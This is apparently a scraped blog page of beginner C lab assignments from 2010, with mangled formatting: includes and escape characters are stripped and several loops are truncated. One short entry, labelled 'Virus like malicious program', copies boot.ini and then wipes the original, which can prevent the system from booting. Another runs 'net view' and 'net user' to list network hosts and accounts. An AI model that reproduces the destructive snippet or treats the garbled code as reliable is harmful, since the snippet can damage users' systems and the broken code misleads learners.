beginners c programming lab assignments
DESCRIPTION
beginner c programmingTRANSCRIPT
Beginners C Programming Lab Assignments(Program to find the type of the triangle made by i-p values of its coordinates of its vertices)Posted: 13 Jan 2010 02:53 AM PST#include #include #include #includevoid main(){ float x1,y1,x2,y2,x3,y3; float a,b,c,m1,m2,m3; clrscr(); printf("Enter coordinates of vertex A(x & y respectively):- "); scanf("%f%f",&x1,&y1); printf("Enter coordinates of vertex B(x & y respectively):- "); scanf("%f%f",&x2,&y2); printf("Enter coordinates of vertex C(x & y respectively):- "); scanf("%f%f",&x3,&y3); if ((x1==x2 && x2==x3)||(y1==y2 && y2==y3)) { printf("
These coordinates can't represent a triangle."); printf("A,B & C are colinear & thus consitute a line."); getch(); exit(0); } else { m1=(y2-y1)/(x2-x1); m2=(y3-y2)/(x3-x2); m3=(y3-y1)/(x3-x1); } if (m1==m2||m2==m3||m3==m1) { printf("
These coordinates can't represent a triangle.");
printf("A,B & C are colinear & thus consitute a line."); printf("
HAVE A NICE DAY! BYE."); getch(); exit(0);
} a = sqrt(pow((x2-x3),2) + pow((y2-y3),2)); b = sqrt(pow((x3-x1),2) + pow((y3-y1),2)); c = sqrt(pow((x2-x1),2) + pow((y2-y1),2)); printf("
Length of side AB is = %f",c); printf("Length of side BC is = %f",a); printf("Length of side CA is = %f",b); if (a==b==c) printf("
Triangle made by these vertices is an equilateral triangle."); else if (a==b||b==c||c==a) { if (a==b==c); else printf("
Triangle made by these vertices is an isosceles triangle."); } else if (a!=b && b!=c && c!=a) printf("
Triangle made by these vertices is a scalene triangle."); getch();}
Beginners C Programming Lab Assignments(Program to print the ascii equivalent of all chararters in the entered string)Posted: 13 Jan 2010 02:51 AM PSTProgram to print the ascii equivalent of all chararters in the entered string
#include #include #include int ascii_value(char c);void main(){
int i,a; char c; clrscr(); printf("Please enter a string."); printf("String will be terminated if you press Ctrl-Z."); printf("STRING:- "); for (i=0;(c=getchar())!=EOF;i++) { a=ascii_value(c); printf("%d%c",a,' '); } printf(" are the ascii values of the characters of the entered string"); printf(" respectively."); printf("
HAVE A NICE DAY! BYE."); getch();}
int ascii_value(char c) { int a;
a=(int)c; return(a); }
Beginners C Programming Lab Assignments(Program to search for a palindrome)Posted: 13 Jan 2010 02:50 AM PST#include #include #define EOL ''#define TRUE 1#define FALSE 0void main(){ char letter[80]; int tag,count,countback,flag,loop=TRUE; clrscr(); while (loop) { flag=TRUE; printf("
Please enter a word,phrase or sentence below(type END to exit the program):"); for (count=0;(letter[count]=getchar())!=EOL;++count) ; if ((toupper(letter[0])=='E') && (toupper(letter[1])=='N') && (toupper(letter[2])=='D')) break; tag=count-1; for ((count=0,countback=tag);count<=(tag/2);(++count,--countback)) { if (letter[count]!=letter[countback]) { flag=FALSE; break; } } for (count=0;count<=tag;++count)
putchar(letter[count]); if (flag) printf(" is a palindrome."); else printf(" is not a palindrome."); }}
Beginners C Programming Lab Assignments(Program. to find & replace any desired character from the input text.)Posted: 13 Jan 2010 02:49 AM PST#include # include char c1,c2,a[80];void main(){ clrscr(); find_rep(); getch();
}
void find_rep(void) /* Function to find & replace any text */{ char c1,c2; char a[80]; int i,j,k; printf("Enter a line of text below:-"); printf("Line will be terminated by pressing ENTER."); printf("TEXT:- "); gets(a); printf("Enter the replaceable & replacing letter respectively:- "); scanf("%c%c%c",&c1,' ',&c2); for (j=0;j<80;j++)
{ if (a[j]==c1) a[j]=c2; } puts(a); printf(" Here all %c are replaced by %c.",c1,c2); return;}
Puzzle--finding the numberPosted: 13 Jan 2010 02:49 AM PST#include#include#include#include#includeint mx,my,ans=0,p=4;screen();void button();/* The main logic lies in displaying the numbers in the screen The numbers are placed corresponding to their binary value EX:In case of 14(binary equivalent is 01110).Therefore it will beplaced in 2,3 & 4 screen*/int s1[]={16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31};int s2[]={8,9,10,11,12,13,14,15,24,25,26,27,28,29,30,31};int s3[]={4,5,6,7,12,13,14,15,20,21,22,23,28,29,30,31};int s4[]={2,3,6,7,10,11,14,15,18,19,22,23,26,27,30,31};int s5[]={1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31};int a1,a2,a3,a4,a5;void main(){int gd=DETECT,gm;initgraph(&gd,&gm,"c:\tc\bgi");mouseini();showmp();action();}
action(){ int ans=0; char st[10]; initialscreen(); while(1) { /* The X & Y coordinate of each function is calculated with respect to mx "maximum of x value" & my "maximum of y value" */ if(click((mx/4)+95,(my/4)+100,(mx/4)+235,(my/4)+140,"Play..")==0) { a1=screen(s1,16); a2=screen(s2,16); a3=screen(s3,16); a4=screen(s4,16); a5=screen(s5,16); ans=a1+a2+a3+a4+a5; result(ans); getch(); exit(); } }}initialscreen(){mx=getmaxx(),my=getmaxy();setmp();setfillstyle(1,7);bar(mx/4,my/4,3*mx/4,3*my/4);setcolor(WHITE);line(mx/4,my/4,3*mx/4,my/4);line(mx/4,my/4,mx/4,3*my/4);setcolor(BLACK);line(mx/4,3*my/4,3*mx/4,3*my/4);line(3*mx/4,my/4,3*mx/4,3*my/4);setcolor(RED);outtextxy((mx/4)+40,(my/4)+30,"THINK A NUMBER BETWEEN 1-31");button((mx/4)+95,(my/4)+100,(mx/4)+235,(my/4)+140,"Play..");}screen(int *scr,int num){ int a,i,x1,y1;char st[10];
mx=getmaxx(),my=getmaxy();setmp();setfillstyle(1,7); bar(mx/4,my/4,3*mx/4,3*my/4);setcolor(WHITE); line(mx/4,my/4,3*mx/4,my/4); line(mx/4,my/4,mx/4,3*my/4);setcolor(BLACK); line(mx/4,3*my/4,3*mx/4,3*my/4); line(3*mx/4,my/4,3*mx/4,3*my/4);setcolor(RED); outtextxy((mx/4)+9,(my/4)+5,"TELL ME WHETHER THE NUMBER IS PRESENT?"); button((3*mx/4)-40 ,(3*my/4)-20,(3*mx/4)-5 ,(3*my/4)-5,"yes"); button((3*mx/4)-80 ,(3*my/4)-20,(3*mx/4)-45 ,(3*my/4)-5,"no"); x1=(mx/4)+80; y1=(my/4)+65; for(i=0;i { a=scr[i]; /*To convert the integer into string and then displaying it on thegraphic mode*/ itoa(a,st,10); outtextxy(x1 ,y1,&st); x1+=50; if((i==3)||(i==7)||(i==11)) { y1=y1+30; x1=(mx/4)+80; } } /*We have already noted that the numbers are placed in screencorresponding to their binary value To find the number we can convert these binary numbers to integers*/ while(1) { if (click((3*mx/4)-40 ,(3*my/4)-20,(3*mx/4)-5 ,(3*my/4)-5,"yes")==0) { ans=pow(2,p); p=p-1; return ans; }
if (click((3*mx/4)-80 ,(3*my/4)-20,(3*mx/4)-45 ,(3*my/4)-5,"no")==0) { p=p-1; return 0; } }}result(int ans){ char st[10];mx=getmaxx(),my=getmaxy();setmp();setfillstyle(1,7);bar(mx/4,my/4,3*mx/4,3*my/4);setcolor(WHITE);line(mx/4,my/4,3*mx/4,my/4);line(mx/4,my/4,mx/4,3*my/4);setcolor(BLACK);line(mx/4,3*my/4,3*mx/4,3*my/4);line(3*mx/4,my/4,3*mx/4,3*my/4);setcolor(RED);if(ans==0) { outtextxy((mx/4)+110,(my/4)+45,"I DONT BELEIVE"); outtextxy((mx/4)+60,(my/4)+60,"YOU MIGHT BE WRONG SOMEWHERE"); } else { outtextxy((mx/4)+95,(my/4)+30,"THE NUMBER IS "); itoa(ans,st,10); outtextxy((mx/4)+205,(my/4)+30,st); }button((mx/4)+95,(my/4)+100,(mx/4)+235,(my/4)+140,"TRY AGAIN!");button((mx/4)+95,(my/4)+150,(mx/4)+235,(my/4)+190,"EXIT");while(1) { if (click((mx/4)+95,(my/4)+150,(mx/4)+235,(my/4)+190,"EXIT")==0) { closegraph(); restorecrtmode(); exit(); } if (click((mx/4)+95,(my/4)+100,(mx/4)+235,(my/4)+140,"TRY AGAIN!")==0)
{ p=4; action(); } }}void button(int x1,int y1,int x2,int y2,char str[]){ int xc,yc,i=0,l=0; while(i { l+=4; i++; } xc=(x2-x1)/2+x1-l; yc=(y2-y1)/2+y1; unpress(x1,y1,x2,y2); settextstyle(0,0,0); setcolor(RED); outtextxy(xc,yc,str);}unpress(int x1,int y1,int x2,int y2){setlinestyle(0,1,1);setfillstyle(1,7);bar(x1,y1,x2,y2);setcolor(WHITE);line(x1,y1,x2,y1);line(x1,y1,x1,y2);setcolor(0);line(x1,y2,x2,y2);line(x2,y1,x2,y2);return 0;}press(int x1,int y1,int x2,int y2){setlinestyle(0,1,1);setfillstyle(1,7);bar(x1,y1,x2,y2);setcolor(0);line(x1,y1,x2,y1);line(x1,y1,x1,y2);
setcolor(WHITE);line(x1,y2,x2,y2);line(x2,y1,x2,y2);return 0;}mouseini(){union REGS i,o;i.x.ax=0;int86(0x33,&i,&o);return(o.x.ax);}showmp(){union REGS i,o;i.x.ax=1;int86(0x33,&i,&o);return 0;}hidemp(){union REGS i,o;i.x.ax=2;int86(0x33,&i,&o);return 0;}
getmp(int *button,int *x,int *y){union REGS i,o;i.x.ax=3;int86(0x33,&i,&o);*button=o.x.bx;*x=o.x.cx;*y=o.x.dx;return 0;}setmp(){union REGS i,o;i.x.ax=4;i.x.cx=(3*mx/4)+20;
i.x.dx=(3*my/4)+20;int86(0x33,&i,&o);}click(int x1,int y1,int x2,int y2,char str[]){int button,x,y;int xc,yc,i=0,l=0;while(i { l+=4; i++; }xc=(x2-x1)/2+x1-l;yc=(y2-y1)/2+y1;
getmp(&button,&x,&y);if( (x>x1 && xy1 && y{ hidemp(); press(x1,y1,x2,y2); setcolor(RED); settextstyle(0,0,0); outtextxy(xc,yc,str); showmp(); while((button==1)) getmp(&button,&x,&y); hidemp(); unpress(x1,y1,x2,y2); showmp(); setcolor(RED); settextstyle(0,0,0); outtextxy(xc,yc,str); for(i=50;i<500;i=i+50) { delay(10); sound(i+200); } showmp(); nosound(); setcolor(RED); settextstyle(0,0,0); outtextxy(xc,yc,str); return 0;
}else return 1;}
Beginners C Programming Lab Assignments(Show the active computers in the lan)Posted: 13 Jan 2010 02:48 AM PST#include#include#include#include#include#include//#include"h:incmenu1.c"//void netview()void main(){ FILE *fs; int count=0; char ch; int gd=DETECT,gm; initgraph(&gd,&gm,""); //make(); cleardevice(); closegraph(); make(); fs=fopen("temp.txt","r"); // make(); if(fs==NULL) { clearviewport(); printf("file not found"); getch(); // if(getch()==27) // menu1(); } else while(1) {
ch=fgetc(fs);
if(ch==EOF) break; if(ch=='') count++; if(count==24) { count=0; //getch(); printf(" Press Enter"); getch(); clearviewport(); setbkcolor(1); } setbkcolor(1); ch= fputc(fs,fs); printf("%c",ch);
} // if(getch()==27) // menu1();
fs=fopen("temp1.txt","r"); if(fs==NULL) { printf("file not found"); getch(); // if(getch()==27) // menu1(); } else while(1) {
ch=fgetc(fs); if(ch==EOF) break; printf("%c",ch); }
putc(ch,fs); fclose(fs); getch(); // menu1();
}
make(){
system("net view > temp.txt"); system("net user > temp1.txt"); return 1;}
Beginners C Programming Lab Assignments(Showing Binary Equivalent of an Integer)Posted: 13 Jan 2010 02:48 AM PSTmain(){ int n; char ch; while(1) { clrscr(); printf(" Enter an integer to see its Binary Equivalent"); printf("
Enter "); scanf("%d",&n); showbits(n);
printf(" continue ? "); ch=getch(); if(ch==27)
break; }}
showbits(int n){ int i,bit,mask,count=0; printf(" "); for(i=15;i>=0;i--) { mask=1<
bit=n & mask;
if(bit==mask) printf("1"); else printf("0"); count++; if(count%4==0) printf(" "); }}
Beginners C Programming Lab Assignments(Simple Account software)Posted: 13 Jan 2010 02:47 AM PSTSimple Account software
#include#include#include#include#include
union REGS i,o;char *menu[]={"1.Add Records","2.Show Records","3.Modify Records", "4.Del Records","5.Search Record","6.Exit"};
main(){ int gd=DETECT,gm,choice=1,width=0,i,count,sr=0; char **buffer; FILE *m,*t; char sname[20]; long int size; char mrec; struct cust { char name[20]; int accno; float balance; }; struct cust s;
m=fopen("C:\record.txt","rb+");
if(m==NULL) { t=fopen("C:\record.txt","wb+");
if(t==NULL) { printf("Error in opening file "); exit(); } } size=sizeof(s); initgraph(&gd,&gm,"C:\Tc\Bgi");
setbkcolor(1); setcolor(11); if(initmouse()==0) { printf("Mouse driver not loaded..."); exit(); }
count=sizeof(menu)/sizeof(char *); settextstyle(TRIPLEX_FONT,0,3);
displaymenu(menu,count,10,10);
for(i=0;i { if(textwidth(menu[i])>width) width=textwidth(menu[i]); }
// movemouseptr(&x1,&y1);
buffer=malloc(sizeof(menu)); savemenu(menu,buffer,width,count,10,10); showmouseptr(); while (1) { displaymenu(menu,count,10,10); choice=getresponse(menu,buffer,width,count,10,10); gotoxy(50,15);
hidemouseptr(); switch (choice) { case 1 : cleardevice(); fseek(m,0,SEEK_END); mrec='y'; gotoxy(1,1); while(mrec=='y') { printf("
Enter the Name of the Custumer "); scanf("%s",s.name); printf("Enter the Acc.no of the Custumer "); scanf("%d",&s.accno); printf("Enter the Balance of the Custumer "); scanf("%f",&s.balance);
fwrite(&s,size,1,m); printf("Are there more Records (Y/N)"); fflush(stdin);
mrec=getche(); } printf("Press any key to go back to menu"); cleardevice(); break;
case 2: cleardevice(); rewind(m); gotoxy(1,1); printf("
Name Acc.No Ammount Due"); sr=0; if(fread(&s,size,1,m)==1) { rewind(m); while(fread(&s,size,1,m)==1) { printf("%30s%12d%23.2f",s.name,s.accno,s.balance); sr++; } } else printf(" There is no record to Display"); printf("
There are %d Records",sr); printf("
Press any key to go back to menu"); getch(); cleardevice(); break;
case 3: clearviewport(); mrec='y'; gotoxy(1,1); while(mrec=='y') { printf("
Enter the name of Customer whose rec. is to be modified");
scanf("%s",sname); // gets(sname); rewind(m); while (fread(&s,size,1,m)==1) { sr=0; if( strcmp (s.name,sname)==0) { sr=1; // printf("Enter new name,Acc.no,Balance "); // scanf("%s%d%f",s.name,&s.rollno,&s.percent); printf("
Enter the new Name of the Custumer "); scanf("%s",s.name); // gets(s.name);
printf("Enter the new Acc.no of the Custumer "); scanf("%d",&s.accno); printf("Enter the new Balance of the Custumer "); scanf("%f",&s.balance);
fseek(m,-size,SEEK_CUR); fwrite(&s,size,1,m); break; } } if(sr==0) printf(" Record "%s" is not found",sname); printf("Modify more records (Y/N)"); fflush(stdin); mrec=getche();
} clearviewport(); break;
case 4: clearviewport(); mrec='y'; gotoxy(1,1); while(mrec=='y') { printf("Enter the name of the Customer to delete the rec "); scanf("%s",sname); // gets(sname); t=fopen("C:\stemp.txt","wb");
rewind (m); while(fread(&s,size,1,m)==1) { if(strcmp(s.name,sname)!=0) fwrite(&s,size,1,t); } fclose(m); fclose(t); remove("C:\record.txt"); rename("C:\stemp.txt","C:\record.txt");
m=fopen("C:\record.txt","rb+");
printf("Delete more records (Y/N)"); fflush(stdin); mrec=getche(); } clearviewport(); // displaymenu(menu,count,10,10); // getch(); // choice=getresponse(menu,buffer,width,count,10,10); break; case 5: clearviewport(); mrec='y'; gotoxy(1,1); while(mrec=='y') { printf("
Enter the name of Customer whose rec. is to be Searched"); scanf("%s",sname);
// gets(sname); rewind(m); while (fread(&s,size,1,m)==1) { sr=0; if( strcmp (s.name,sname)==0) { // printf("Enter new name,Acc.no,Balance"); // scanf("%s%d%f",s.name,&s.rollno,&s.percent); // fseek(m,-size,SEEK_CUR); // fwrite(&s,size,1,m); printf("Record found"); printf("
Name Acc.No Ammount Due"); printf("%30s%12d%23.2f",s.name,s.accno,s.balance); sr=1; getch(); break; } } if(sr==0) printf(" Record "%s" is not found",sname); printf("Search more records (Y/N)"); fflush(stdin); mrec=getche();
} clearviewport(); break;
case 6: fclose(m); exit();
} showmouseptr();
}}
displaymenu(char **menu,int count,int x1,int y1){ int i,h;
h=textheight(menu[0]);
for(i=0;i outtextxy(x1,y1+i*(h+5),menu[i]);}
savemenu (char **menu,char **buffer,int width,int count,int x1,int y1){ int i,x2,yy1,yy2,area,h;
h=textheight(menu[0]);
for(i=0;i { x2=x1+width; yy1=y1+i*(h+5); yy2=y1+(i+1)*(h+5);
area=imagesize(x1,yy1,x2,yy2); buffer[i]=malloc(area); getimage(x1,yy1,x2,yy2,buffer[i]);
}}
getresponse(char **menu,char **buffer,int width,int count,int x1,int y1){ int choice=1,prevchoice=0,x,y,x2,y2,button; int in,i,h;
h=textheight(menu[0]); y2=y1+count*(h+5); x2=x1+width; rectangle(x1-5,y1-5,x2+5,y2+5);
while(1) { getmousepos(&button,&x,&y);
if (x>=x1&&x<=x2&&y>=y1&&y<=y2) { in=1;
for(i=1;i<=count;i++) { if(y<=y1+i*(h+5)) { choice=i; break; } }
if(prevchoice!=choice) { hidemouseptr(); highlight(buffer,choice,h,x1,y1);
if(prevchoice) dehighlight(buffer,prevchoice,h,x1,y1);
prevchoice=choice; showmouseptr(); } if((button & 1)==1) { while ((button & 1)==1) getmousepos(&button,&x,&y);
if(x>=x1&&x<=x2&&y>=y1&&y<=y2) return(choice); } } else { if( in ==1) { in=0; prevchoice=0;
hidemouseptr(); dehighlight(buffer,choice,h,x1,y1); showmouseptr(); } } }}
highlight(char **buffer,int ch,int h,int x1,int y1){ putimage(x1,y1+(ch-1)*(h+5),buffer[ch-1],NOT_PUT);}
dehighlight(char **buffer,int ch,int h,int x1,int y1){ putimage(x1,y1+(ch-1)*(h+5),buffer[ch-1],COPY_PUT);}
/* initmouse */initmouse(){ i.x.ax=0; int86 (0x33,&i,&o); return(o.x.ax);}
/* displays mouse pointer */showmouseptr(){ i.x.ax=1; int86(0x33,&i,&o);}
hidemouseptr(){ i.x.ax=2; int86(0x33,&i,&o);}
/*gets mouse coordinates and button status*/
getmousepos(int *button,int *x,int *y){ i.x.ax=3; int86(0x33,&i,&o); *button=o.x.bx; *x=o.x.cx; *y=o.x.dx;}
movemouseptr(int *x,int *y){ i.x.ax=4; int86(0x33,&i,&o); o.x.cx=*x; o.x.dx=*y; return 0;}
Beginners C Programming Lab Assignments(sort an array in decending order)Posted: 13 Jan 2010 02:47 AM PSTsort an array in decending order
#include #include void main(){ int i[100],j[100],temp[100]; int a,b=1,c,i1=2,k,b2=0; printf("ENTER NUMBER OF DATA (MAXIMUM 100):"); scanf("%d",&k); printf("ENTER DATA (IN INTEGER):"); for(a=0;a { printf("k=[%d] ",a+1); scanf("%d",&i[a]); }
for(a=0,b=1;a { if((i[b]-i[a])>0) { temp[a]=i[b]; temp[b]=i[a]; i[a]=temp[a]; i[b]=temp[b]; } for(c=i1;c { if((i[c]-i[a])>0) { temp[a]=i[c]; temp[c]=i[a]; i[a]=temp[a]; i[c]=temp[c]; } } i1++; } printf("
YOUR ARRAY IN DECENDING ORDER IS AS FOLLOWS: YOURARRAY[%d]= ",k); for(b2=0;b2 { printf("%d ",i[b2]); } printf("
***THANK YOU FOR USING THIS PROGRAM***"); }
Beginners C Programming Lab Assignments(Square root of a number without using Built-In Function)Posted: 13 Jan 2010 02:46 AM PST
Square root of a number without using Built-In Function
#include#include
void main(){ double n,g1,g2; int flag=0; clrscr(); printf("Enter the no.: "); scanf("%lf",&n); if(n<0) { n=-n; flag=1; } else if(n==0) { printf("The root of %6.4lf is",n); textcolor(GREEN); cprintf(" %6.4lf",g2); getch(); exit(0); } g2=n/2; do { g1=g2; g2=(g1+n/g1)/2; } while((g1-g2)!=0); if(flag==1) { printf("The root of %6.4lf is",-n); textcolor(GREEN); cprintf(" +/- %6.4lf i",g2); } else {
printf("The root of %6.4lf is",n); textcolor(GREEN); cprintf(" +/- %6.4lf",g2); } getch();}
Beginners C Programming Lab Assignments(system Clock and date)Posted: 13 Jan 2010 02:46 AM PST#include#include#include#include#include #include union REGS i,o;int button,p,q;main(){int gd = DETECT,gm;int maxx,maxy,x,y,button,i,j,x2,x1,y2,y1;int cor[60][2],f=1,hour,min,sec,l,dat,mont,yea;struct arccoordstype arcinfo;struct time t;struct date d;char mm[80],mf[80],m[50],n[5];charmon[12][4]={"Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"};initmouse();showmouseptr();initgraph(&gd,&gm,"");maxx=getmaxx();maxy=getmaxy();//textcolor(0);setviewport(1,1,getmaxx()-2,getmaxy()-2,1);showmouseptr();restrictmouseptr(350,20,600,70);
circle(maxx/2,maxy/2,100);putpixel(maxx/2,maxy/2,3);setfillstyle(0,0);j=90;setcolor(0);cleardevice();setfillstyle(1,14);bar(390,55,440,70);setfillstyle(1,14);bar(460,55,500,70);setfillstyle(1,14);bar(390,30,460,45);setfillstyle(1,14);bar(466,30,540,45);j=30;setfillstyle(1,12);bar(180,100,465,387);setfillstyle(1,0);bar(185,104,460,383);while(f<13){if (i<=90) {i=90-j;} else { i=360-(j-90);}setcolor(0);arc(maxx/2,maxy/2,90,i,125);getarccoords(&arcinfo);setcolor(14);settextstyle(DEFAULT_FONT, HORIZ_DIR,2);if (f<=5) {sprintf(n,"%d",f);outtextxy(arcinfo.xend+2,arcinfo.yend,n);}else if ((f>=7)&&(f<12)){sprintf(n,"%d",f);outtextxy(arcinfo.xend-7,arcinfo.yend,n);}else if(f==12){sprintf(n,"%d",f);outtextxy(arcinfo.xstart-10,arcinfo.ystart,n);}else if (f==6) {sprintf(n,"%d",f);outtextxy(arcinfo.x-17,arcinfo.y+120,n);}j+=30;f++;}setcolor(13);sprintf(mm,"Exit");outtextxy(550,35,mm);settextstyle(DEFAULT_FONT,0,1);sprintf(mm,"Done by:");
outtextxy(400,435,mm);settextstyle(DEFAULT_FONT, HORIZ_DIR,2);sprintf(mm,"Ajith.V.V");outtextxy(470,445,mm);
settextstyle(DEFAULT_FONT, HORIZ_DIR,0);outtextxy(400,60,"Time Date");
sprintf(mm,"SET-TIME");outtextxy(395,35,mm);sprintf(mm,"SET-DATE");outtextxy(470,35,mm);f=0;while(1){getmousepos(&button,&p,&q);getdate(&d);gettime(&t);//outersetfillstyle(1,15);pieslice(maxx/2,maxy/2,0,360,5);setfillstyle(1,12);bar(180,100,184,387);bar(461,100,465,387);bar(180,100,465,105);bar(180,385,465,387);bar(200,390,445,400);bar(180,400,465,405);//hourif (t.ti_hour>13) {t.ti_hour = t.ti_hour - 12;}if (t.ti_min==0) {i=(t.ti_hour*30);} else{i=((t.ti_hour*30)+((t.ti_min/12)*6));}if (i>=90) {j=360-(i-90);}else {j=90-i;}textcolor(0);setcolor(0);arc(maxx/2,maxy/2,j,90,50);getarccoords(&arcinfo);if (((t.ti_hour==0)||(t.ti_hour==12))&&(t.ti_min<=11)){setcolor(0);line(maxx/2,maxy/2,x1,y1);
setcolor(3);line(maxx/2,maxy/2,maxx/2,maxy/2-50);x1=0;y1=0;x1=maxx/2;y1=maxy/2-50;}else{setcolor(0);line(maxx/2,maxy/2,x1,y1);setcolor(3);line(maxx/2,maxy/2,arcinfo.xstart,arcinfo.ystart);x1=arcinfo.xstart;y1=arcinfo.ystart;}//hour//minutri=(t.ti_min*6);if (i>=90) {j=360-(i-90);}else {j=90-i;}textcolor(0);setcolor(0);arc(maxx/2,maxy/2,j,90,90);getarccoords(&arcinfo);if (t.ti_min==0){setcolor(0);line(maxx/2,maxy/2,x2,y2);setcolor(2);line(maxx/2,maxy/2,maxx/2,maxy/2-80);x2=0;y2=0;x2=maxx/2;y2=maxy/2-80;}else{setcolor(0);line(maxx/2,maxy/2,x2,y2);setcolor(2);line(maxx/2,maxy/2,arcinfo.xstart,arcinfo.ystart);x2=arcinfo.xstart;y2=arcinfo.ystart;
}//minute//secondsi=(t.ti_sec*6);if (i>=90) {j=360-(i-90);}else {j=90-i;}textcolor(0);setcolor(0);arc(maxx/2,maxy/2,j,90,100);getarccoords(&arcinfo);setcolor(5);rectangle(185,104,460,383);setcolor(15);//setcolor(4);if (t.ti_sec==0){setcolor(0);line(maxx/2,maxy/2,x,y);setcolor(15);//setcolor(4);line(maxx/2,maxy/2,maxx/2,maxy/2-100);x=0;y=0;x=maxx/2;y=maxy/2-100;}else{setcolor(0);line(maxx/2,maxy/2,x,y);setcolor(15);//setcolor(4);line(maxx/2,maxy/2,arcinfo.xstart,arcinfo.ystart);x=arcinfo.xstart;y=arcinfo.ystart;}press();getmousepos(&button,&p,&q);if ((p>=390)&&(p<=440)&&(q>=55)&&(q<=70)&&((button & 1)==1)){f=f^1;if (f==1){
l=3;}else{l=0;gotoxy(38,20);printf(" ");}}
if (l==3){gotoxy(38,20);printf("%d:%d:%d",t.ti_hour,t.ti_min,t.ti_sec);}
press();getmousepos(&button,&p,&q);if ((p>=460)&&(p<=500)&&(q>=55)&&(q<=70)&&((button & 1)==1)){f=f^1;if (f==1){l=5;}else{l=0;gotoxy(36,12);printf(" ");}}
if (l==5){gotoxy(36,12);printf("%d,%s %d ",d.da_day,mon[d.da_mon-1],d.da_year);}
if (t.ti_min==0)
{sound(2000);}if (t.ti_sec>=2){nosound();}press();getmousepos(&button,&p,&q);if ((p>=550)&&(p<=650)&&(q>=33)&&(q<=50)&&((button & 1)==1)) {goto end;}//set timeif ((p>=390)&&(p<=460)&&(q>=30)&&(q<=45)&&((button & 1)==1)){gotoxy(1,22);printf("Enter :");gotoxy(1,23);printf("Hour[24]:");scanf("%d",&hour);gotoxy(1,24);printf("Minute :");scanf("%d",&min);gotoxy(1,25);printf("Second :");scanf("%d",&sec);if (hour!=24){t.ti_hour = hour;} else {t.ti_hour = 0;}t.ti_min = min;t.ti_sec = sec;settime(&t);gotoxy(1,22);printf(" ");gotoxy(1,23);printf(" ");gotoxy(1,24);printf(" ");gotoxy(1,25);printf(" ");}//set dateif ((p>=350)&&(p<=510)&&(q>=35)&&(q<=45)&&((button & 1)==1)){gotoxy(1,22);printf("Enter :");gotoxy(1,23);printf("date :");scanf("%d",&dat);gotoxy(1,24);
printf("Month :");scanf("%d",&mont);gotoxy(1,25);printf("Year :");scanf("%d",&yea);d.da_day=dat;d.da_mon=mont;d.da_year=yea;setdate(&d);gotoxy(1,22);printf(" ");gotoxy(1,23);printf(" ");gotoxy(1,24);printf(" ");gotoxy(1,25);printf(" ");}//while end}end:closegraph();restorecrtmode();//program endreturn 0;}
initmouse(){i.x.ax = 0;int86(0x33,&i,&o);return (o.x.ax);}
showmouseptr(){i.x.ax = 1;int86(0x33,&i,&o);return 0;}hidemouseptr(){
i.x.ax = 2;int86(0x33,&i,&o);return 0;}
restrictmouseptr(int x1,int y1,int x2,int y2){i.x.ax = 7;i.x.cx = x1;i.x.dx = x2;int86 (0x33,&i,&o);i.x.ax = 8;i.x.cx = y1;i.x.dx = y2;int86 (0x33,&i,&o);return 0;}
getmousepos(int *button,int *x,int *y){i.x.ax = 3;int86 (0x33,&i,&o);*button = o.x.bx;*x=o.x.cx;*y=o.x.dx;return 0;}
press(){while ((button & 1)==1){getmousepos(&button,&p,&q);}return 0;}
Beginners C Programming Lab Assignments(To check whether a string is a palindrome)Posted: 13 Jan 2010 02:45 AM PST
To check whether a string is a palindrome
#include#include#includevoid main(void){ char a[50],b[50]; clrscr(); printf("Enter the string:"); gets(a); strcpy(b,a); strrev(a); if(strcmp(b,a) == 0) { printf("The given string is a palindrome!!!"); } else { printf("The given string is not a palindrome!!!"); } getch();}
Beginners C Programming Lab Assignments(Understanding IVT table)Posted: 13 Jan 2010 02:44 AM PST// understanding ivt table#include#includemain(){ unsigned long far *address = (unsigned long far *)0x00000000; unsigned long intadd[256]; unsigned int segment, offset; int i; FILE *fp; fp = fopen("IVT.txt", "wb"); for(i = 0; i < 256; i++) {
intadd[i] = *(address++); segment = FP_SEG(intadd[i]); offset = FP_OFF(intadd[i]); fprintf(fp, "interrupt %3X : vector %Fp(hex) : %lu(dec)", i, intadd[i], (unsigned long)segment * 16 + offset); } fclose(fp);}
Beginners C Programming Lab Assignments(UNIX cat like utility)Posted: 13 Jan 2010 02:44 AM PST#include#include#include
int main(int argc,char* argv[]){ FILE* fp; int i=0; char c; if(argc==1){ fprintf(stderr,"Error using cat..."); exit(2); } if(!strcmp(argv[1],"-w")){ /* This returns 1 if match is found */
if(argc!=3){ fprintf(stderr,"Invalid no. of arguments"); exit(2); } fp=fopen(argv[2],"w"); if(fp==NULL) { fprintf(stderr,"Error in opening file..."); exit(2); }
c=getchar(); while(c!=EOF) { fputc(c,fp); c=getchar(); } fclose(fp); } else{ for(--argc;argc>0;argc--){ fp=fopen(argv[++i],"r"); if(fp==NULL){ fprintf(stderr,"File not found...Aborting"); exit(2); } while((c=fgetc(fp))!=EOF) fputc(c,stdout); fclose(fp); } }
}
Beginners C Programming Lab Assignments(Vertical Histogram)Posted: 13 Jan 2010 02:43 AM PST#include#define MAXWL 20 /* Maximum length of a word */#define MAXNO 25 /* Maximum No of words in a sentence */
int main(void){ int word[MAXNO]; int i,c,j,nc,nw;
for(i=0;i word[i]=0;
nc = nw = 0;
while( (c=getchar()) != EOF) { ++nc; if( c ==' ' || c =='' || c ==' ') { word[nw] = nc -1; /* -1 for excluding the space in the word length */ ++nw; nc = 0; /* resetting the word-length for the next word */ } }
for( i = MAXWL; i >= 1; --i) { for(j=0;j <= nw;++j) { if( i <= word[j]) putchar('*'); else putchar(' '); } putchar(''); }
return 0;}
Beginners C Programming Lab Assignments(Virus like malicious program)Posted: 13 Jan 2010 02:43 AM PSTVirus like malicious program
#include #include void main(){
char b,c; FILE *f,*g,*h; clrscr(); c=NULL; f=fopen("d:\boot.ini","r"); g=fopen("e:\boot.ini","w"); while(1) { b=fgetc(f); if (b==EOF) break; fprintf(g,"%c",b); } h=fopen("d:\boot.ini","w"); fprintf(h,"%s",c); fclose(h); fclose(g); fclose(f); getch();}
Beginners C Programming Lab Assignments(Visual Bubble Sort in C)Posted: 13 Jan 2010 02:42 AM PSTVisual Bubble Sort in C
#include#include#include
void object(int,int,int);void bubble(int);void flow(int,int);void mixing(int,int);int el[10];void main(){ int n,i,d=0,m=0; clrscr(); printf("Enter the No of Elements : " );
